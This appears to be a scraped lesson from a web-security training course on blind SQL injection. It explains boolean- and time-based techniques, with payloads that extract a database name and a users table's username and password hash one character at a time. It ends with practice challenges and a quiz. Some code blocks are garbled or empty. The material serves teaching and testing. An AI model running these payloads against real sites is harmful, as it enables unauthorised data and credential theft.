Exploit SQL injection when no direct output is visible using boolean and time-based techniques
Learning Objectives
Understand boolean-based blind SQL injection
Master time-based blind SQL injection
Extract data character by character
Automate blind SQL injection attacks
Hacking in the Dark
So far, we've been spoiled. Error messages telling us exactly what went wrong. Query results displayed right on the page. It's been like taking a test with the answer key right next to you.
But real-world applications often hide their errors. Custom error pages. Generic "Something went wrong" messages. No visible output at all. This is where blind SQL injectioncomes in - extracting data when you can't see the results directly.
It's like playing 20 Questions with a database. You ask yes/no questions and slowly piece together the answers from how the application behaves.
Blind SQLi is slower than UNION-based attacks (we're extracting one bit of information at a time), but it works on applications that would otherwise seem secure. It's essential knowledge for any serious security tester.
There are two main approaches to blind SQL injection:
1. Boolean-Based Blind SQLi
The application behaves differently based on whether your injected condition is TRUE or FALSE. Maybe it shows different content, returns a different status code, or changes in some subtle way.
2. Time-Based Blind SQLi
The application doesn't visibly change at all, but you can inject time delays. If your condition is TRUE, the page takes 5 seconds to load. If FALSE, it loads instantly. Slow and painful, but it works.
Boolean-Based Blind SQLi
Let's say you're testing a product page that takes an ID:
1https:606070;">//shop.example.com/product?id=5
2
3When product exists: Shows product details
4When product doesn't exist: Shows 606070;">#a5d6ff;">"Product not found"
The backend query might be:
sql
1SELECT * FROM products WHERE id = [input]
Confirming the Vulnerability
First, let's confirm we can inject boolean conditions:
1606070;"># True condition - should show the product
2?id=5 AND 1=1
3
4606070;"># False condition - should show "Product not found"
5?id=5 AND 1=2
6
7606070;"># If these behave differently, we have blind SQLi!
Use responsibly
5 AND 1=1
Use responsibly
5 AND 1=2
Extracting Data One Bit at a Time
Now the fun part. We can ask the database yes/no questions:
sql
1-- Is the first character of the database name 606070;">#a5d6ff;">'m'?
4-- If TRUE: product shows (we know first char is 606070;">#a5d6ff;">'m')
5-- If FALSE: product not found (first char is NOT606070;">#a5d6ff;">'m')
6
7-- Better: Use ASCII codes to binary search
85AND ASCII(SUBSTRING(database(),1,1)) > 96 -- Is it lowercase?
95AND ASCII(SUBSTRING(database(),1,1)) > 109 -- Is it > 606070;">#a5d6ff;">'m'?
105AND ASCII(SUBSTRING(database(),1,1)) > 115 -- Is it > 606070;">#a5d6ff;">'s'?
11-- etc.
Binary search is key to efficiency! Instead of trying all 26 letters, you can find any character in 7 comparisons (log₂ 128). For a 10- character database name, that's 70 requests instead of 260.
Practical Extraction Example
sql
1-- Is the database name 606070;">#a5d6ff;">'shop_db'?
2-- First, find the length:
35AND LENGTH(database())=7 -- Is it 7 characters?
4
5-- Then extract character by character:
65AND SUBSTRING(database(),1,1)=606070;">#a5d6ff;">'s' -- First char is 's'?
75AND SUBSTRING(database(),2,1)=606070;">#a5d6ff;">'h' -- Second char is 'h'?
85AND SUBSTRING(database(),3,1)=606070;">#a5d6ff;">'o' -- Third char is 'o'?
What if the page always looks exactly the same? No difference between true and false conditions? That's when we bring out the heavy artillery: time delays.
The Basic Concept
sql
1-- MySQL: Sleep for 5 seconds if condition is true
Time-based SQLi is very slow. If you're extracting 100 characters with a 3-second delay and ~7 requests per character, that's over 35 minutes. Use it as a last resort or automate it!
Extracting Data with Time
sql
1-- MySQL: Extract database name using time delays
2-- Is first character 606070;">#a5d6ff;">'s'? (If yes, page takes 5 seconds)
12-- Narrow down until you find the exact character
Network Delays vs. SQL Delays
Here's a gotcha: network latency can mess with your results. If the normal page load is 500ms but varies up to 2 seconds, how do you know if a 2-second response is "TRUE" or just slow?
Use longer delays (5-10 seconds) to be safe. Also, run each test multiple times and average the results. Or use "greater than" logic: if the page takes >3 seconds, consider it TRUE.
Full Extraction Example: Getting Usernames
Let's walk through extracting actual data from a users table using boolean-based blind SQLi:
Extracting Admin Password
1
Confirm Injection PointTest TRUE and FALSE conditions: ?id=1 AND 1=1 → Shows product ?id=1 AND 1=2 → Product not found
2
Find Table NameCheck if a 'users' table exists: ?id=1 AND (SELECT COUNT(*) FROM users)>0 If TRUE, 'users' table exists!
3
Find Username Length?id=1 AND (SELECT LENGTH(username) FROM users WHERE id=1)=5 Try different numbers until you get TRUE.
4
Extract Username Character by Character?id=1 AND SUBSTRING((SELECT username FROM users WHERE id=1),1,1)='a' ?id=1 AND SUBSTRING((SELECT username FROM users WHERE id=1),2,1)='d' ?id=1 AND SUBSTRING((SELECT username FROM users WHERE id=1),3,1)='m' Build up: "adm..."
5
Extract PasswordSame process but for the password column: ?id=1 AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='$' (Passwords are usually hashed, so expect characters like $2a$10$...)
In practice, you'd use a script or tool to automate this. Manually extracting even a 20-character password would take hundreds of requests!
Bonus: Conditional Error-Based Blind SQLi
Sometimes you can trigger database errors on purpose. If TRUE causes an error but FALSE doesn't (or vice versa), you can use this as another blind channel:
sql
1-- Cause a divide-by-zero error if condition is true
Out-of-band techniques require specific database permissions and network configurations. They're also loud - they create external connections that firewalls and security tools may detect. Use with caution!
Practice: Boolean Blind Injection
Extract the Secret
text
A page is vulnerable to boolean-based blind SQLi. The query is:
SELECT * FROM products WHERE id = [input] AND status = 'active'
When the product exists and the condition is TRUE: page shows "Product found"
When the condition is FALSE or product doesn't exist: page shows "Not found"
You want to extract the first character of the database name.
Write a payload that will return TRUE if the first character is 'a'.
The database is MySQL.
The Slow Heist
Challenge
🔥 medium
You've found a login page vulnerable to time-based blind SQLi. The query is:
SELECT * FROM users WHERE username = '[input]' AND password = '[password]'
The page always shows "Invalid credentials" whether the query succeeds or fails.
There are no visible differences. But you've confirmed SLEEP() works!
Write a payload to extract the first character of the admin's password.
The admin username is 'administrator' and the database is MySQL.
Need a hint? (4 available)
Stealth Extraction
Challenge
💀 hard
You've got boolean-based blind SQLi working, but you want to be efficient.
You need to extract a 32-character MD5 hash (admin password) from the 'credentials' table.
MD5 hashes contain characters 0-9 and a-f only.
Calculate: What's the minimum number of requests needed to extract the full hash using optimal binary search?
Then write the most efficient payload strategy.
Need a hint? (4 available)
Blind SQLi Quiz
Question 1 of 5
What makes SQLi 'blind'?
Key Takeaways
Blind SQLi works when you can't see query results directly
Boolean-based: response differs for TRUE vs FALSE conditions
Time-based: inject SLEEP() and measure response time
Use binary search to minimize requests (log₂ instead of linear)
SUBSTRING() and ASCII() are your best friends for character extraction
Time-based is slow - use 5+ second delays and average results
Automate with scripts or tools like SQLMap for practical attacks